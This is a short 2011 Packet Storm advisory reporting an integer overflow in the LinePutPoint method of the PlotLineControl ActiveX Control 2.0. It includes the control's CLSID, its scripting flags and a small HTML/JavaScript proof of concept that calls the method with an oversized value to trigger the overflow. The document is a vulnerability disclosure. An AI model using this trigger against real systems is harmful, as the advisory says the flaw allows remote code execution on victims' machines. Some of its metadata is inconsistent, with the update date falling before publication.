PlotLineCentral Integer Overflow

Type packetstorm
Reporter demonalex
Modified 2011-10-31T00:00:00


                                            `Title: PlotLineControl ActiveX Control "LinePutPoint" Integer Overflow  
Software: PlotLineControl ActiveX Control(Version 2.0)  
Vulnerability Published :2011-10-30  
Vulnerability Update Time :2010-06-10  
Vendor: No vendor response  
Impact: Median  
Bug Description:  
PlotLineControl is a free ActiveX Control which was easy for drawing circle.  
User-supplied data in "LineId" parameter is not properly integrity-checked before being copied into an insufficiently sized buffer in "LinePutPoint()" method.   
Successfully exploiting the vulnerability allows remote attackers to execute arbitrary code in the context of the vulnerable application using the ActiveX control.  
Class Info:  
Class PlotLine  
GUID: {70D036E3-60C0-11D7-B4C2-A7A5AF6F7E11}  
Number of Interfaces: 1  
Default Interface: PlotX  
RegKey Safe for Script: False  
RegkeySafe for Init: False  
KillBitSet: False  
<object classid='clsid:70D036E3-60C0-11D7-B4C2-A7A5AF6F7E11' id='target'></object>  
<script language='javascript'>  
var arg1 = 1;  
var arg2 = 1;  
var arg3 = 2147482111;  
target.LinePutPoint(arg1 ,arg2 ,arg3);  
Credits: This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed]  
Dark2S Security Team/PolyU.HK